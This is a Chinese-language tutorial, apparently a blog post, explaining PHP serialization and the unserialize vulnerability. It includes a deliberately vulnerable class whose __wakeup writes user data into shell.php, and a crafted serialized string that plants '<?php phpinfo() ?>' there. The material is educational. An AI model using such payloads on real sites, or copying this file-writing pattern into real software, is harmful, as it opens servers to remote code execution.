前言:
反序列化是OWASP 2017中的一个比较大威胁的漏洞
而且一般安全类的问代码级的漏洞一般会问到这个,所以记录一下。
什么是反序列化?
首先引进两个函数,serialize(序列化函数)和unserialize(反序列化函数)
序列化与反序列化作用:
序列化:
对象转换为字符串的过程
这么讲可能有点晦涩难懂,上代码,看注释应该能看懂
(下图就是将xiaoming对象转化为网页上显示的字符串,这就是序列化)
<?php
class student//定义类
{
public $username='xiaoming';//定义对象
}
$s=new student();
$s_serialize=serialize($s);//序列化student
print_r($s_serialize);//输出序列化后的student
echo"</br>";
?>
这段php代码在网站上运行后显示是这样的
反序列化:
字符串转换为对象的过程
(比如说我要将上面网页上显示的字符串显示为xiaoming对象,这就是反序列化)
代码:
<?php
class student//定义类和对象
{
public $username='xiaoming';
}
$student='O:7:"student":1:{s:8:"username";s:8:"xiaoming";}';//输入序列化后的student
$s_unserialize=unserialize($student);//反序列化student类
print_r($s_unserialize);//输出反序列化后的student
echo"</br>";
?>
这段php代码在网页上显示是这样的:
这就是序列化与反序列化
漏洞:
那么反序列化漏洞在哪里呢?
反序列化函数unserialize在运行时会调用很多种类函数,比如他调用了wakeup函数(这里写了wakeup函数后显示界面不会发生变化)
wakeup简介:
魔法函数一般是以__开头,通常会因为某些条件而触发不用我们手动调用
<?php
class student//定义类和对象
{
public $username='xiaoming';
function __wakeup()//调用wakeup函数
{
$myfile=fopen("shell.php","w") or die("unable to open the file!");//打开名叫shell.php的文件,w是以写的形式打开
fwrite($myfile,$this->username);//fwrite是写,把username的值写入到shell.php文件里
fclose($myfile);//关闭文件
}
}
$s=new student();
$s_serialize=serialize($s);//序列化student
print_r($s_serialize);//输出序列化后的student
echo"</br>";
?>
OK,在简单理解wakeup函数之后呢,我们便很快能够发现问题所在了
因为username的值可以写入到shell.php文件中,那么我们如果构造一个名为<?php phpinfo()?>的username呢?
如果把它写入到shell.php中,再访问shell.php,我们是不是就可以看到网站php的版本等内容了?
话不多说,马上实行
<?php
class student//定义类和对象
{
public $username='xiaoming';
function __wakeup()//调用wakeup函数
{
echo $this->username."</br>";
$myfile=fopen("shell.php","w") or die("unable to open the file!");//打开名叫shell.php的文件,w是以写的形式打开
fwrite($myfile,$this->username);//fwrite是写,把username的值写入到shell.php文件里
fclose($myfile);
echo"</br>";
}
}
$student='O:7:"student":1:{s:8:"username";s:18:"<?php phpinfo() ?>";}';//这里把小明改为了phpinfo,以便把phpinfo写入到shell.php中
$s_unserialize=unserialize($student);
print_r($s_unserialize);
echo"</br>";
?>
在运行后代码显示的页面如下
为什么username的值没了呢?
查看源代码后发现是这样,并没有消失
接下来我们访问shell.php,发现显示了php的版本信息(有些信息打码了)
附录:
除此之外
__construct() ,__destruct(),__toString(), __sleep() 等等
这几个函数也会构成反序列化漏洞,这里不一一解释了,原理差不多